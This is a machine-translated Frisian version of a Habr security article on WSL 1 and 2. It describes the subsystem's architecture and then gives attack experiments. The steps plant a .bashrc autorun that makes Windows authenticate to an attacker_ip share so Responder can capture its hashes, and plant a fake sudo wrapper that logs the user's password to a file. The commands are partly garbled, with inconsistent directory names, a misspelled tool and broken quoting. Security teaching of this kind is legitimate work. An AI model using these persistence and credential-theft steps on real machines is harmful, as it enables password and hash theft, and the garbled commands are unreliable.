WSL eksperiminten. Diel 1

Hallo, habr! OTUS lanseart in nije kursusstream yn oktober "Linux Feiligens". Yn ôfwachting fan it begjin fan 'e kursus, dielen wy mei jo in artikel skreaun troch ien fan ús leararen, Alexander Kolesnikov.

WSL eksperiminten. Diel 1

Yn 2016 yntrodusearre Microsoft de nije WSL-technology oan 'e IT-mienskip (Wyndows Subsystem foar Linux), dy't it yn 'e takomst mooglik makke om earder ûnfersoenlike konkurrinten te ferienigjen dy't fjochtsje foar populariteit ûnder sawol gewoane as avansearre OS-brûkers: Windows en Linux. Dizze technology makke it mooglik om Linux OS-ark te brûken yn in Windows-omjouwing sûnder de needsaak om Linux út te fieren, bygelyks mei Multi-boot. Op Habr kinne jo in grut oantal artikels fine dy't de foardielen fan it brûken fan WSL beskriuwe. Spitigernôch, op 'e tiid fan' e skepping fan dit artikel, waarden gjin stúdzjes fûn oer de feiligens fan sa'n symbioaze fan bestjoeringssystemen op dizze boarne. Dizze post sil in besykjen wêze om dit te korrigearjen. It artikel sil prate oer de funksjes fan 'e WSL 1 en 2-arsjitektuer en ûndersiikje ferskate foarbylden fan oanfallen op systemen dy't dizze technologyen brûke. It artikel is ferdield yn 2 dielen. De earste sil de wichtichste teoretyske oanfalmetoaden leverje fan Linux en Windows. It twadde artikel sil omfetsje it opsetten fan in testomjouwing en it reprodusearjen fan de oanfallen.

WSL 1: arsjitektoanyske funksjes

Foar de meast krekte dûk yn WSL-feiligensproblemen is it nedich om de wichtichste nuânses te bepalen dy't ferbûn binne mei de ymplemintaasje fan it subsysteem. Ien fan 'e wichtichste brûkerstaken oplost troch WSL is de mooglikheid om te wurkjen fia in Linux-terminal op in host mei Windows OS. Ek wie de oanbeane kompatibiliteit sa native dat Linux-útfierbere bestannen (ELF's) direkt op in Windows-systeem koene wurde útfierd. Om dizze doelen te berikken is in spesjaal subsysteem makke yn Windows 10 wêrmei jo Linux-applikaasjes kinne útfiere mei in set fan spesifike systeemoproppen - sadwaande waard in besykjen makke om in set fan Linux-syscalls op Windows yn kaart te bringen. Dit waard fysyk ymplementearre troch it tafoegjen fan nije bestjoerders en in nij prosesformaat. Visueel seach de arsjitektuer der sa út:

WSL eksperiminten. Diel 1

Yn feite waard ynteraksje mei it Linux-bestjoeringssysteem organisearre troch ferskate kernelmodules en in spesjale soarte proses - pico. Ut it diagram hjirboppe kinne jo sjen dat it proses dat rint op 'e Linux-eksimplaar op' e host moat native wêze en moat deselde boarnen brûke as gewoane Windows-applikaasjes. Mar hoe te berikken dit? Yn projekt Drawbridge Proseskonsepten foar Windows waarden ûntwikkele dy't alle nedige komponinten fan it bestjoeringssysteem levere (ôfhinklik fan har ferzje) om in applikaasje fan in oar OS út te fieren.

Tink derom dat de foarstelde abstraksje it mooglik makke om net te fokusjen op it bestjoeringssysteem (benammen Windows), wêryn it proses fan in oar OS wurdt ferwachte te starten, en suggerearre in algemiene oanpak.

Sa kin elke applikaasje binnen it pico-proses rinne sûnder de Windows-kernel:

  1. Problemen fan kompatibiliteit en oersetting fan systeemoproppen moatte wurde oplost troch spesjale providers;
  2. Tagongskontrôle moat dien wurde fia de Feiligensmonitor. De monitor sit yn 'e kernel en dêrom hie Windows in upgrade nedich yn' e foarm fan in nije stjoerprogramma dy't as provider foar sokke prosessen fungearje koe. It prototype pico-proses wurdt hjirûnder skematysk presintearre:

WSL eksperiminten. Diel 1

Om't it Linux-bestânsysteem saakgefoelige triem- en mapnammen brûkt, waarden 2 soarten bestânsystemen tafoege oan Windows om te wurkjen mei WSL - VolFS en DriveFS. VolFS is in ymplemintaasje fan it Linux-bestânsysteem, DriveFS is in bestânsysteem dat wurket neffens Windows-regels, mar hat de mooglikheid om saaksensibiliteit te selektearjen.

WSL 2

WSL 1 hie in oantal beheiningen dy't net tastean dat it brûkt wurde om it maksimale oanbod fan taken op te lossen: it hie bygelyks net de mooglikheid om 32-bit Linux-applikaasjes út te fieren, en it wie ûnmooglik om apparaatbestjoerders te brûken. Dêrom waard yn 2020 WSL 2 frijlitten, wat de oanpak fan it bouwen fan it subsysteem feroare. WSL 2 is in optimalisearre firtuele masine dy't oerienkomt mei de eigenskippen fan boarneferbrûk fan WSL 1. No, ôfhinklik fan de problemen oplost troch de Windows OS-brûker, kinne jo de fereaske ferzje fan it Linux-subsysteem selektearje. Om mooglike kwetsberens te ferminderjen, waard WSL 2 ymplementearre basearre op Hyper-V yn Windows 10. Yn dizze foarm hat Windows de mooglikheid om de Linux-bestjoeringssysteemkernel yn isolaasje út te fieren. It is it wurdich te ûnthâlden dat ferzje 1 fan WSL waard yntrodusearre as in beta-funksje dy't de rjochting fan Windows-ûntwikkeling yn dit gebiet soe sjen litte, sadat de oergong nei Hyper-V ûnûntkomber wie. De definitive arsjitektuer sjocht der sa út:

WSL eksperiminten. Diel 1

Yn dizze ferzje hawwe de Windows- en Linux-kernels har eigen boarnen en de krusing bestiet allinich yn it bestânsysteem, mar dizze krusing is net kompleet. Ynteraksje tusken bestânsystemen wurdt útfierd fia in client-server-wrapper dy't wurket mei it 9P-protokol.

Hjoed jout Microsoft de mooglikheid om te wikseljen tusken WSL 1 en WSL 2. Beide ferzjes binne beskikber foar gebrûk.

WSL Feiligens

Op it stuit binne d'r ferskate wurken dy't guon oanpak beskriuwe foar it brûken fan legitime OS-ark om de kommunikaasje tusken subsystemen oan te fallen. Wy sille har skripts brûke om de relevânsje fan 'e oanfallen te kontrolearjen op it momint fan skriuwen. Algemiene list fan oanfallen en senario's:

1. Triemsysteem ymplemintaasje: tagongsrjochten, beskikberens fan dielde mappen / data útwikseling meganismen.

Undersyk waard útfierd te bepalen oertredings fan tagong regels út Linux FS->Windows FS, Windows FS->Linux FS. Undersyk hat de mooglikheid oantoand om in opjûne triem te feroarjen binnen it doel OS. Der waard ek besocht om te ferfangen, duplikaten te meitsjen en in diel fan 'e bestânsystemen te wiskjen.

Senario:

  • A. Oanfal fan it Windows bestjoeringssysteem - wiziging fan triemmen út de map /etc fan it Linux OS.
  • B. Oanfal fan it Linux bestjoeringssysteem - wiziging fan triemmen yn mappen: C:Windows, C:Program Files, C:Users<User>

2. Utfiering fan it netwurk stack.

It ûndersyk waard útfierd mei foarbylden fan oanfallen fan it Linux-bestjoeringssysteem op Windows. De funksjes fan 'e netwurkstapel waarden brûkt, nammentlik autentikaasjemeganismen op ferskate boarnen.

Senario:

  • It iepenjen fan tagong ta in poarte dy't beset is op in Windows-systeem
  • It iepenjen fan in haven sûnder de passende rjochten
  • Running reverse shell mei help fan elf triem op Windows bestjoeringssysteem.

3. Hiding de lansearring fan kweade software prosessen mei help fan de WSL subsysteem.

It ûndersyk wie basearre op in ienfâldich feit - befeiligingssubsystemen kinne gjin eveneminten ûnderskeppe yn in oare kearn dy't wurket mei in legitime provider fan it bestjoeringssysteem yn it gefal fan WSL 1. Yn it gefal fan WSL 2 is d'r gjin manier om eveneminten te besjen dy't foarkomme yn in aparte kernel binnen lichtgewicht firtuele masine.

Senario:

1) Start de applikaasje foar tagong op ôfstân ta it systeem en besjoch de oanmelde eveneminten.

WSL 1-eksperiminten: hash-ûnderskepping (Windows)

Uteinlik kamen wy by it praktyske diel. Earst moatte jo de testomjouwing ynstelle. Alle eksperiminten sille wurde útfierd op in bank mei ynstallearre Windows 10 2004. De Ubuntu 18.04-ôfbylding waard keazen as it bestjoeringssysteemôfbylding foar WSL. De ôfbylding waard willekeurich keazen, en elke oare sil itselde wurkje. Kommando's foar it opsetten fan in stand:

Jo moatte earst lansearje powershell.exe as behearder.

Foar WSL 1 moatte jo de kommando's útfiere:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Nei it opnij opstarten fan 'e stand kinne jo it kommando bash neame. As alles goed wurke, sille jo útfier sjen lykas dit yn 'e Windows-konsole:

    WSL eksperiminten. Diel 1

    Wy sille de Kali Linux-distribúsje brûke as de masine fan 'e oanfaller; alle masines moatte op itselde lokale netwurk wêze.

    Litte wy oannimme dat wy unprivileged tagong hawwe ta WSL op in Windows-masine. Litte wy besykje it Linux-bestjoeringssysteem oan te fallen troch in kommando fan Linux op te roppen. Om de oanfal út te fieren, sille wy in ienfâldige autorun-technyk brûke - wy sille ús skript tafoegje foar útfiering yn 'e Linux-omjouwing. Om dit te dwaan moatte jo de triem feroarje .bashrc.

    Op in masine mei WSL útfiere wy:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Op in Kali Linux-masine rinne wy:

    1. Responder -I eth0 -rdvw

    Op in Windows-masine litte wy bash starte.

    Wy wachtsje op it resultaat op 'e Kali Linux-masine:

    WSL eksperiminten. Diel 1

    Sa krigen wy de Windows-brûkers-hashes fia it WSL-subsysteem troch it kommando út te fieren op it Linux-systeem.

    WSL 1-eksperiminten: brûkerswachtwurd krije (Linux OS)

    Litte wy noch ien eksperimint dwaan. Tidens dizze kontrôle sille wy tafoegje oan it bestân .bashrc ferskate kommando's om it brûkerswachtwurd fan Linux bestjoeringssysteem te krijen.

    Litte wy bash starte en de kommando's ynfiere:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Om de oanfal mei súkses te foltôgjen, moat de brûker Sam sudo neame yn 'e Linux-terminal. Hjirnei sil it Linux OS-brûkerswachtwurd yn it bestân wêze pass.txt:

    WSL eksperiminten. Diel 1

    De ymplemintaasje fan 'e oanfallen waard allinich foar teoretyske ynformaasje jûn.

    It folgjende diel fan it artikel sil de ymplemintaasje fan it 9P-protokol beskriuwe, beskôgje it meitsjen fan in scanner foar dit protokol, en ek in oanfal mei it útfiere.

    List fan brûkte literatuer

    WSL eksperiminten. Diel 1

    Lês mear

    Boarne: www.habr.com

    Add a comment